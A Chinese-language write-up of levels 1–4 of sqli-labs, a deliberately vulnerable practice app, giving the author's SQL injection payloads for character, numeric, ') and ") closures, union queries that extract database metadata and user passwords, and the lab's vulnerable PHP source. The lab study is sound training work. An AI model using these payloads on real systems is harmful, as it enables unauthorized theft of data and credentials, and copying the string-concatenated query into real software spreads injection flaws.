【sqli-labs】闯关记录1~4
【less-1】基于字符型注入
1、初步测试
?id=1' and 1=1--+
//回显正常
//起初用#试图注释sql语句后面的内容,但试了几次都失败了,刚开始怀疑是后端过滤了,但后来转念一想这个是在url中传参的,而#在url中属于锚点,不会传入后台(当然如果是post传参的话就可以),这下才恍然大悟。
?id=1' and 1=2--+
//回显错误
2、获取数据库信息
//order by二分法获取主查询字段数
?id=1' order by 5--+ //报错
?id=1' order by 3--+ //回显正常
?id=1' order by 4--+ //报错
说明主查询字段数为3
//第三者上位逻辑,获取回显的字段位置
?id=1' and 1=2 union select 1,2,3--+
//如图所示,回显出2,3
//暴数据库名、用户名、版本号
?id=1' and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+
//如图所示,爆出数据库名security,用户名root@localhost,版本号5.7.26
//获取表名
?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1--+
//如图所示,获取第一个表名为emails,更改limit参数可逐步获得表名referers、uagents、users等
//获取字段名
?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1--+
//如图所示,获取users表中第一个字段名为id,更改limit参数可逐步获得其他字段名username、password
//获取用户名和密码
?id=1' and 1=2 union select 1,2,concat_ws('~',username,password) from security.users limit 7,1--+
//如图所示,获取管理员的用户名和密码为admin,admin;通过更改limit的参数可获得其他用户的用户名和密码
源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0); //关闭错误报告
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a'); //打开当前目录下的result.txt文件,追加内容
fwrite($fp,'ID:'.$id."\n"); //写入id传参内容
fclose($fp); //关闭文件
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error()); //输出mysql操作产生的错误信息
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
?>
【less-2】基于数字型注入
?id=1 and 1=1 //回显正常
?id=1 and 1=2 //回显失败
说明存在数字型sql注入
//order by获取主查询字段数
?id=1 order by 5 //回显失败
?id=1 order by 3 //回显正常
?id=1 order by 4 //回显失败
说明主查询字段数为3
//第三者上位,获取回显字段位置
?id=1 and 1=2 union select 1,2,3
//说明回显的字段位置在2、3
//获取数据库基本信息
?id=1 and 1=2 union select 1,2,concat_ws('~',database(),user(),version())
//如图所示,获取到数据库名security、用户名root@localhost、版本号5.7.26
//获取管理员账号和密码方法与上述相仿,不在赘述。
源码分析
没啥大变化
【less-3】基于’)注入
?id=1') and 1=1--+ //回显正常
?id=1') and 1=2--+ //回显失败
//说明存在基于’)的sql注入
//order by测试主查询字段数
?id=1') order by 5--+ //回显失败
?id=1') order by 3--+ //回显正常
?id=1') order by 4--+ //回显失败
//获取数据库信息
?id=1') and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+
//要注意,一定要用空集逻辑and 1=2屏蔽掉网站原来的回显,这样我们查询的结果才会回显
源码分析
没啥大变化,仅是闭合方式不同
【less-4】基于")注入
?id=1 and 1=1 //正常回显
?id=1 and 1=2 //正常回显
//以为是字符型,加了'和--+继续测
?id=1' and 1=1--+ //正常回显
?id=1' and 1=2--+ //正常回显
//日了怪了,加入'看看
?id=' //回显不正常,但没报错
//加入\看看
?id=\ //终于报错了
从报错信息看,后台sql使用")闭合的
//再次测试
?id=1") and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+
//如图所示,获取到数据库名、用户名和版本号
//后面就一步一步干表名字段名等等。
源码分析
没啥大变化,仅是闭合方式不同